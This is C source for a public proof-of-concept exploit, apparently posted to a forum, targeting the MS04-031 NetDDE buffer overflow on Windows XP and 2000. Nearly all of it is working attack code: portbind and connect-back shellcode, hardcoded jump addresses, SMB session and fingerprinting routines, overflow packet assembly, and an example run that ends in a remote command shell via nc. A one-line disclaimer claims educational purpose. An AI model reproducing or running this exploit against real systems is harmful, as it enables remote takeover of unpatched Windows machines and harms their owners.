---snip---

/* HOD-ms04031-netdde-expl.c: 2004-12-30: PUBLIC v.0.2

*

* Copyright (c) 2004 houseofdabus.

*

* (MS04-031) NetDDE buffer overflow vulnerability PoC

*

*

*

*

* .::[ houseofdabus ]::.

*

*

*

* (special unstable version)

* ---------------------------------------------------------------------

* Description:

* A remote code execution vulnerability exists in the

NetDDE

* services because of an unchecked buffer. An attacker

who

* successfully exploited this vulnerability could take

complete

* control of an affected system. However, the NetDDE

services are

* not started by default and would have to be manually

started for

* an attacker to attempt to remotely exploit this

vulnerability.

* This vulnerability could also be used to attempt to

perform

* a local elevation of privilege or remote denial of

service.

*

* ---------------------------------------------------------------------

* Patch:

*

http://www.microsoft.com/technet/security/Bulletin/MS04-031.mspx

*

* ---------------------------------------------------------------------

* Tested on:

* - Windows XP Professional SP0

* - Windows XP Professional SP1

* - Windows 2000 Professional SP2

* - Windows 2000 Professional SP3

* - Windows 2000 Professional SP4

* - Windows 2000 Advanced Server SP4

*

* ---------------------------------------------------------------------

* This is provided as proof-of-concept code only for

educational

* purposes and testing by authorized individuals with

permission to

* do so.

*

* ---------------------------------------------------------------------

* Compile:

*

* Win32/VC++ : cl -o HOD-ms04031-expl

HOD-ms04031-expl.c

* Win32/cygwin: gcc -o HOD-ms04031-expl

HOD-ms04031-expl.c -lws2_32.lib

* Linux : gcc -o HOD-ms04031-expl

HOD-ms04031-expl.c -Wall

*

* ---------------------------------------------------------------------

* Command Line Parameters/Arguments:

*

* HOD-ms04031-expl.exe <host> <netbios name>

<target> <bindport>

* [connectback IP] [options]

*

* Targets:

* 0 [0x00abfafc]: WinXP [universal]

* 1 [0x009efb40]: Win2K [universal]

*

* Options:

* -f: Netbios name fingerprinting

*

* ---------------------------------------------------------------------

* Example:

*

* C:\>HOD-ms04031-expl.exe 192.168.0.1 -f

* [*] Connecting to 192.168.0.1:139 ... OK

* [*] Fingerprinting... OK

* [+] Remote netbios name: HOD

*

* C:\>

* C:\>HOD-ms04031-expl.exe 192.168.0.1 HOD 1 7878

* [*] Connecting to 192.168.0.1:139 ... OK

* [*] Attacking 192.168.0.1 ...OK.

*

* C:\>nc 192.168.0.1 7878

*

* Microsoft Windows 2000 [Version 5.00.2195]

* (C) Copyright 1985-2000 Microsoft Corp.

*

* C:\WINNT\system32>

*

* ---------------------------------------------------------------------

*/

/* #define _WIN32 */

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#ifdef _WIN32

#include <winsock2.h>

#pragma comment(lib, "ws2_32")

#else

#include <sys/types.h>

#include <netinet/in.h>

#include <sys/socket.h>

#endif

/* targets table */

struct targets {

int num;

char name[50];

long jmpaddr;

}

target[]= {

{ 0, "WinXP [universal] ", 0x00abfb1c - 0x20 },

{ 1, "Win2K [universal] ", 0x009efb60 - 0x20 }

};

/* portbind shellcode */

unsigned char portbindsc[] =

"\xeb\x70\x56\x33\xc0\x64\x8b\x40\x30\x85\xc0\x78\x0c\x8b\x40\x0c"

"\x8b\x70\x1c\xad\x8b\x40\x08\xeb\x09\x8b\x40\x34\x8d\x40\x7c\x8b"

"\x40\x3c\x5e\xc3\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x05\x78"

"\x03\xd5\x8b\x4a\x18\x8b\x5a\x20\x03\xdd\xe3\x34\x49\x8b\x34\x8b"

"\x03\xf5\x33\xff\x33\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x03"

"\xf8\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x03\xdd\x66\x8b"

"\x0c\x4b\x8b\x5a\x1c\x03\xdd\x8b\x04\x8b\x03\xc5\x89\x44\x24\x1c"

"\x61\xc3\xeb\x3d\xad\x50\x52\xe8\xa8\xff\xff\xff\x89\x07\x83\xc4"

"\x08\x83\xc7\x04\x3b\xf1\x75\xec\xc3\x8e\x4e\x0e\xec\x72\xfe\xb3"

"\x16\x7e\xd8\xe2\x73\xad\xd9\x05\xce\xd9\x09\xf5\xad\xa4\x1a\x70"

"\xc7\xa4\xad\x2e\xe9\xe5\x49\x86\x49\xcb\xed\xfc\x3b\xe7\x79\xc6"

"\x79\x83\xec\x60\x8b\xec\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5e"

"\xe8\x3d\xff\xff\xff\x8b\xd0\x83\xee\x36\x8d\x7d\x04\x8b\xce\x83"

"\xc1\x10\xe8\x9d\xff\xff\xff\x83\xc1\x18\x33\xc0\x66\xb8\x33\x32"

"\x50\x68\x77\x73\x32\x5f\x8b\xdc\x51\x52\x53\xff\x55\x04\x5a\x59"

"\x8b\xd0\xe8\x7d\xff\xff\xff\xb8\x01\x63\x6d\x64\xc1\xf8\x08\x50"

"\x89\x65\x34\x33\xc0\x66\xb8\x90\x01\x2b\xe0\x54\x83\xc0\x72\x50"

"\xff\x55\x24\x33\xc0\x50\x50\x50\x50\x40\x50\x40\x50\xff\x55\x14"

"\x8b\xf0\x33\xc0\x33\xdb\x50\x50\x50\xb8\x02\x01\x11\x5c\xfe\xcc"

"\x50\x8b\xc4\xb3\x10\x53\x50\x56\xff\x55\x18\x53\x56\xff\x55\x1c"

"\x53\x8b\xd4\x2b\xe3\x8b\xcc\x52\x51\x56\xff\x55\x20\x8b\xf0\x33"

"\xc9\xb1\x54\x2b\xe1\x8b\xfc\x57\x33\xc0\xf3\xaa\x5f\xc6\x07\x44"

"\xfe\x47\x2d\x57\x8b\xc6\x8d\x7f\x38\xab\xab\xab\x5f\x33\xc0\x8d"

"\x77\x44\x56\x57\x50\x50\x50\x40\x50\x48\x50\x50\xff\x75\x34\x50"

"\xff\x55\x08\xf7\xd0\x50\xff\x36\xff\x55\x10\xff\x77\x38\xff\x55"

"\x28\xff\x55\x0c";

/* connectback shellcode */

unsigned char connectbacksc[] =

"\xeb\x70\x56\x33\xc0\x64\x8b\x40\x30\x85\xc0\x78\x0c\x8b\x40\x0c"

"\x8b\x70\x1c\xad\x8b\x40\x08\xeb\x09\x8b\x40\x34\x8d\x40\x7c\x8b"

"\x40\x3c\x5e\xc3\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x05\x78"

"\x03\xd5\x8b\x4a\x18\x8b\x5a\x20\x03\xdd\xe3\x34\x49\x8b\x34\x8b"

"\x03\xf5\x33\xff\x33\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x03"

"\xf8\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x03\xdd\x66\x8b"

"\x0c\x4b\x8b\x5a\x1c\x03\xdd\x8b\x04\x8b\x03\xc5\x89\x44\x24\x1c"

"\x61\xc3\xeb\x35\xad\x50\x52\xe8\xa8\xff\xff\xff\x89\x07\x83\xc4"

"\x08\x83\xc7\x04\x3b\xf1\x75\xec\xc3\x8e\x4e\x0e\xec\x72\xfe\xb3"

"\x16\x7e\xd8\xe2\x73\xad\xd9\x05\xce\xd9\x09\xf5\xad\xec\xf9\xaa"

"\x60\xcb\xed\xfc\x3b\xe7\x79\xc6\x79\x83\xec\x60\x8b\xec\xeb\x02"

"\xeb\x05\xe8\xf9\xff\xff\xff\x5e\xe8\x45\xff\xff\xff\x8b\xd0\x83"

"\xee\x2e\x8d\x7d\x04\x8b\xce\x83\xc1\x10\xe8\xa5\xff\xff\xff\x83"

"\xc1\x10\x33\xc0\x66\xb8\x33\x32\x50\x68\x77\x73\x32\x5f\x8b\xdc"

"\x51\x52\x53\xff\x55\x04\x5a\x59\x8b\xd0\xe8\x85\xff\xff\xff\xb8"

"\x01\x63\x6d\x64\xc1\xf8\x08\x50\x89\x65\x30\x33\xc0\x66\xb8\x90"

"\x01\x2b\xe0\x54\x83\xc0\x72\x50\xff\x55\x1c\x33\xc0\x50\x50\x50"

"\x50\x40\x50\x40\x50\xff\x55\x14\x8b\xf0\x68\x7f\x01\x01\x01\xb8"

"\x02\x01\x11\x5c\xfe\xcc\x50\x8b\xdc\x33\xc0\xb0\x10\x50\x53\x56"

"\xff\x55\x18\x33\xc9\xb1\x54\x2b\xe1\x8b\xfc\x57\x33\xc0\xf3\xaa"

"\x5f\xc6\x07\x44\xfe\x47\x2d\x57\x8b\xc6\x8d\x7f\x38\xab\xab\xab"

"\x5f\x33\xc0\x8d\x77\x44\x56\x57\x50\x50\x50\x40\x50\x48\x50\x50"

"\xff\x75\x30\x50\xff\x55\x08\xf7\xd0\x50\xff\x36\xff\x55\x10\xff"

"\x77\x38\xff\x55\x20\xff\x55\x0c";

#define SET_PORTBIND_PORT(buf, port) *(unsigned

short *)(((buf)+300)) = (port)

#define SET_CONNECTBACK_IP(buf, ip) *(unsigned

long *)(((buf)+283)) = (ip)

#define SET_CONNECTBACK_PORT(buf, port)

*(unsigned short *)(((buf)+290)) = (port)

/*

eax = target[].jmpaddr -> stack -> jmpcode -> shellcode

1. 0100D605 call dword ptr [eax+20h]

2. jmpcode

3. shellcode

*/

char jmpcode[] =

"\x90\x90\x90\x90\x66\x81\xC7\x20\x03\xFF\xE7\x90\x90\x90\x90\x90"

"\x50\x6f\x43\x20\x66\x6f\x72\x20\x4e\x65\x74\x44\x44\x45\x20\x28"

"\x4d\x53\x30\x34\x2d\x30\x33\x31\x29\x2e\x20\x43\x6f\x70\x79\x72"

"\x69\x67\x68\x74\x20\x28\x63\x29\x20\x32\x30\x30\x34\x2d\x32\x30"

"\x30\x35\x20\x68\x6f\x75\x73\x65\x6f\x66\x64\x61\x62\x75\x73\x2e"

"\xBB\xBB\xBB\xBB" /* => eax */

"PADPAD";

char smb_sesreq[] =

"\x81\x00\x00\x44\x20\x43\x4b\x46\x44\x45\x4e\x45\x43\x46\x44\x45"

"\x46\x46\x43\x46\x47\x45\x46\x46\x43\x43\x41\x43\x41\x43\x41\x43"

"\x41\x43\x41\x43\x41\x00\x20\x45\x4b\x45\x44\x46\x45\x45\x49\x45"

"\x44\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43"

"\x41\x43\x41\x43\x41\x41\x41\x00";

char smb_negotiate[] =

"\x00\x00\x00\x2f\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x00\x00\x00"

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x5c\x02"

"\x00\x00\x00\x00\x00\x0c\x00\x02\x4e\x54\x20\x4c\x4d\x20\x30\x2e"

"\x31\x32\x00";

char d1[] =

"\x0d\x12\x0b\x06\x0d\x18\x1c\x01\x10\x03\x12\x08\x1d\x1f\x0a\x0a"

"\x16\x02\x17\x0e\x1b\x0d";

char req1[] =

"\x81\x00\x00\x44";

char req2[] =

"CACACACACACACACACACACACACACACABP";

char h1[] =

"\x45\x44\x44\x4E\x00\x00\x00";

char h2[] =

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";

char h3[] =

"\x00\x00\x02\x02\x00\x00\x00\x01\x00\x00\x00";

unsigned long ndlen = 0;

unsigned long ntarget = 0;

unsigned long backip = 0;

unsigned short bindport = 0;

unsigned long

fixx(unsigned char *data, unsigned long i)

{

unsigned long len;

len = (data[i+3]<<24) +

(data[i+2]<<16) +

(data[i+1]<<8) +

(data[i]);

return len;

}

unsigned long

chksum(unsigned char *data, unsigned long dlen)

{

unsigned long i, len;

unsigned long chk;

chk = 0xFFFFFFFF;

len = dlen - 4;

for (i=0; i<len; i+=4)

chk += fixx(data, i);

while (i < dlen) {

chk += (unsigned char)data[i];

i++;

}

return chk;

}

char *

netbios_encode(char *ndata, char service)

{

char *tmpdata, *data, *nret;

unsigned long dlen;

char odiv, omod, o;

int i;

data = (char *)calloc(17, 1);

memcpy(data, ndata, strlen(ndata));

dlen = strlen(data);

while (dlen < 15) {

strcat(data, "\x20");

dlen++;

}

memcpy(data+strlen(data), &service, 1);

nret = (char *)calloc(strlen(data)*2+1, 1);

tmpdata = nret;

for (i=0; i<16; i++) {

o = (char)data[i];

odiv = o / 16;

odiv = odiv + 0x41;

omod = o % 16;

omod = omod + 0x41;

*tmpdata++ = odiv;

*tmpdata++ = omod;

}

free(data);

return nret;

}

unsigned char *

find_smbname(unsigned char *data, unsigned long len)

{

unsigned char *ptr;

unsigned long i = 0;

ptr = data;

ptr += 91;

while (i <= len - 3) {

if (ptr[i] == '\x00')

if (ptr[i+1] == '\x00')

if (ptr[i+2] == '\x00')

return ptr+i+3;

i++;

}

return NULL;

}

/* fingerprinting */

unsigned char *

smb_get_name(char *ip)

{

int sock, r;

unsigned long smbname_len;

unsigned char *name = NULL, *smbname;

struct sockaddr_in s;

struct hostent *he;

unsigned char buf[256];

if ((he = gethostbyname(ip)) == NULL) {

printf("[-] Unable to resolve %s\n", ip);

return NULL;

}

sock = socket(AF_INET, SOCK_STREAM,

IPPROTO_TCP);

if (sock < 0) return NULL;

s.sin_family = AF_INET;

s.sin_addr = *((struct in_addr *)he->h_addr);

s.sin_port = htons(139);

memset(&(s.sin_zero), '\0', 8);

memset(buf, 0, 256);

printf("[*] Connecting to %s:139 ... ", ip);

r = connect(sock, (struct sockaddr *) &s, sizeof(struct

sockaddr_in));

if (r == 0) {

printf("OK\n[*] Fingerprinting... ");

/* sending session request */

send(sock, smb_sesreq, sizeof(smb_sesreq)-1,

0);

Sleep(1000);

r = recv(sock, (char *)buf, 256, 0);

if (r < 0) goto err;

memset(buf, 0, 256);

/* sending negotiation request */

send(sock, smb_negotiate,

sizeof(smb_negotiate)-1, 0);

Sleep(1000);

r = recv(sock, (char *)buf, 256, 0);

if (r < 0) goto err;

printf("OK\n");

smbname = find_smbname(buf, r);

if (smbname == NULL) goto err;

smbname_len = smbname - buf;

name = (unsigned char *)calloc(smbname_len,

1);

/* decoding */

r = 0;

while (smbname_len) {

if (*smbname != '\x00') {

name[r] = *smbname;

r++;

}

smbname++;

smbname_len--;

}

} else {

printf("failed\n[-] Can't connect to %s:139\n", ip);

}

err:

shutdown(sock, 1);

closesocket(sock);

return name;

}

/* NetDDE packet */

char *

packet_assembly(char *name, char *host)

{

char *main, *header, *data;

char *lname, *rhost;

unsigned long llen, rlen, len, hlen, dlen, csum, i;

unsigned char name_hi, name_low, rhost_hi,

rhost_low;

unsigned char hod_hi, hod_low, len_hi, len_low;

unsigned char nops[] = "\x90\x90\x90\x90"; /* nops */

char hod[] = "HOD-HOD\x01";

char hmain[] = "\x01\x00\xBE\x05\x0A\x00\x00";

char tmp[8];

llen = strlen(name) + 4;

rlen = strlen(host);

lname = (char *)calloc(llen + 3, 1);

rhost = (char *)calloc(rlen + 3, 1);

memcpy(lname, name, llen);

strcpy(rhost, host);

memcpy(lname + llen, "\x01", 1);

strcat(rhost, "\x01");

name_hi = (unsigned char) ((llen+1) / 256);

name_low = (unsigned char) ((llen+1) % 256);

rhost_hi = (unsigned char) ((rlen + llen + 2) / 256);

rhost_low = (unsigned char) ((rlen + llen + 2) % 256);

len = sizeof(hod) - 1;

hod_hi = (unsigned char) (len / 256);

hod_low = (unsigned char) (len % 256);

main = (char *)calloc( sizeof(hod)-1 +

sizeof(hmain)-1 +

llen + rlen +

11, 1 );

memcpy(main, hmain, sizeof(hmain)-1);

sprintf(tmp, "%c%c%c%c%c%c", name_hi, name_low,

rhost_hi, rhost_low, hod_hi, hod_low);

memcpy(main+sizeof(hmain)-1, tmp, 6);

memcpy(main+sizeof(hmain)-1+6, "\x00", 1);

memcpy(main+sizeof(hmain)-1+7, lname, llen+1);

memcpy(main+sizeof(hmain)-1+7+llen+1, rhost,

rlen+1);

memcpy(main+sizeof(hmain)-1+7+llen+1+rlen+1, hod,

sizeof(hod)-1);

memcpy(main+sizeof(hmain)-1+7+llen+1+rlen+1+sizeof(hod)-1,

"\x2e", 1);

len =

sizeof(hmain)-1+7+llen+1+rlen+1+sizeof(hod)-1+1;

len_hi = (unsigned char) (len / 256);

len_low = (unsigned char) (len % 256);

/* header */

header = (char *)calloc(sizeof(h1)-1 +

sizeof(h2)-1 +

sizeof(h3)-1 +

9, 1);

memcpy(header, h1, sizeof(h1)-1);

sprintf(tmp, "%c%c", len_hi, len_low);

memcpy(header+sizeof(h1)-1, tmp, 2);

memcpy(header+sizeof(h1)-1+2, h2, sizeof(h2)-1);

memcpy(header+sizeof(h1)-1+2+sizeof(h2)-1, tmp, 2);

memcpy(header+sizeof(h1)-1+2+sizeof(h2)-1+2, h3,

sizeof(h3)-1);

csum = chksum(main, len);

memcpy(header+sizeof(h1)-1+sizeof(h2)-1+4

+ sizeof(h3)-1, &csum, 4);

/* data */

hlen = sizeof(h1)-1 + sizeof(h2)-1 + sizeof(h3)-1 + 8;

data = (char *)calloc( sizeof(d1)-1 +

len+hlen +

37 +

1200, 1 );

csum = chksum(header, hlen);

memcpy(data+4, &csum, 4);

memcpy(data+4+4, header, hlen);

memcpy(data+4+4+hlen, main, len);

memcpy(data+4+4+hlen+len, d1, sizeof(d1)-1);

/* nops */

for (i=0; i<154; i++)

memcpy(data+4+4+hlen+len+sizeof(d1)-1 + i*4,

nops, 4);

/* shellcode */

if (!backip) {

/* portbind */

SET_PORTBIND_PORT(portbindsc,

htons(bindport));

memcpy(data+4+4+hlen+len+sizeof(d1)-1+154*4,

portbindsc, sizeof(portbindsc)-1);

dlen =

4+hlen+len+sizeof(d1)-1+sizeof(portbindsc)-1+154*4;

} else {

/* connectback */

SET_CONNECTBACK_IP(connectbacksc,

backip);

SET_CONNECTBACK_PORT(connectbacksc,

htons(bindport));

memcpy(data+4+4+hlen+len+sizeof(d1)-1+154*4,

connectbacksc, sizeof(connectbacksc)-1);

dlen =

4+hlen+len+sizeof(d1)-1+sizeof(connectbacksc)-1+154*4;

}

ndlen = dlen + 4;

dlen = htonl(dlen);

memcpy(data, &dlen, 4);

free(lname);

free(rhost);

free(main);

free(header);

return data;

}

void

usage(char *prog)

{

int i;

printf("%s <host> <netbios name> <target> <bindport>

[connectback IP] [options]\n\n", prog);

printf("Targets:\n");

for (i = 0; i < 2; i++)

printf(" %d [0x%.8x]: %s\n", target[i].num,

target[i].jmpaddr, target[i].name);

printf("\nOptions:\n\t-f: Netbios name fingerprinting\n");

exit(0);

}

void

vargs(int argc, char **argv)

{

int i, finger = 0;

char *nname = NULL;

for (i = 2; i < argc; i++) {

if (argv[i][0] == '-') {

if (argv[i][1] == 'f')

finger = 1;

}

}

if (finger && argc > 2) {

nname = smb_get_name(argv[1]);

if (nname) {

printf("[+] Remote netbios name: %s\n",

nname);

free(nname);

}

exit(0);

} else

if (argc < 5) usage(argv[0]);

if ((ntarget = atoi(argv[3])) > 1) usage(argv[0]);

bindport = (unsigned short)atoi(argv[4]);

if (argc > 5) backip = inet_addr(argv[5]);

return;

}

int

main (int argc, char **argv)

{

int len, sockfd;

char *host;

char *req;

struct hostent *he;

struct sockaddr_in their_addr;

char rbuf[4096];

#ifdef _WIN32

WSADATA wsa;

#endif

char *ses_req;

char *data, *hname;

char *hn, *hn2;

unsigned long req_sz, hname_len, hn_len;

#ifdef _WIN32

WSAStartup(MAKEWORD(2,0), &wsa);

#endif

printf("\n (MS04-031) NetDDE buffer overflow

vulnerability PoC\n\n");

printf("\tCopyright (c) 2004-2005 .::[ houseofdabus

]::.\n\n\n");

vargs(argc, argv);

hn = argv[2]; /* target netbios name */

host = argv[1]; /* target host name */

if (strlen(host) > 1024) return 0;

/* target jmpaddr */

memcpy(jmpcode+80, &target[ntarget].jmpaddr, 4);

ses_req = (char *)calloc(sizeof(req1)-1 +

sizeof(req2)-1 +

114, 1);

memcpy(ses_req, req1, sizeof(req1)-1);

memcpy(ses_req+sizeof(req1)-1, "\x20", 1);

hname = netbios_encode(hn, 0x1F);

hname_len = strlen(hname);

memcpy(ses_req+sizeof(req1)-1+1, hname,

hname_len);

memcpy(ses_req+sizeof(req1)-1+1+hname_len,

"\x00\x20", 2);

memcpy(ses_req+sizeof(req1)-1+1+hname_len+2,

req2, sizeof(req2)-1);

memcpy(ses_req+sizeof(req1)-1+1+hname_len+2+sizeof(req2)-1,

"\x00", 1);

req_sz =

sizeof(req1)-1+sizeof(req2)-1+hname_len+4;

if ((he = gethostbyname(host)) == NULL) {

printf("[-] Unable to resolve %s\n", host);

return 0;

}

if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) <

0) {

printf("[-] Error: socket failed\n");

return 0;

}

req = req1;

their_addr.sin_family = AF_INET;

their_addr.sin_port = htons(139);

their_addr.sin_addr = *((struct in_addr *)he->h_addr);

memset(&(their_addr.sin_zero), '\0', 8);

/* connecting */

printf("[*] Connecting to %s:139 ... ", host);

if (connect(sockfd, (struct sockaddr *)&their_addr,

sizeof(struct sockaddr)) < 0) {

printf("[-] Error: connect failed\n");

return 0;

}

printf("OK\n");

if (send(sockfd, ses_req, req_sz, 0) < 0) {

printf("[-] Error: send failed\n");

return 0;

}

len = recv(sockfd, rbuf, 4096, 0);

if (len < 0) return 0;

/* check NetDDE */

if ((unsigned char)rbuf[0] != 0x82) {

printf("[-] NetDDE disabled or wrong netbios

name\n");

return 0;

}

hn2 = (char *)calloc(16, 1);

memcpy(hn2, hn, strlen(hn));

hn_len = strlen(hn);

while (hn_len < 15) {

strcat(hn2, "\x20");

hn_len++;

}

/* attacking */

printf("[*] Attacking %s ...", host);

data = packet_assembly(jmpcode, hn2);

if (send(sockfd, data, ndlen, 0) < 0) {

printf("\n[-] Error: send failed\n");

return 0;

}

printf("OK.\n");

len = recv(sockfd, rbuf, 4096, 0);

shutdown(sockfd, 1);

closesocket(sockfd);

free(data);

free(hn2);

free(ses_req);

free(hname);

return 0;

}

---snip---

[ reply ]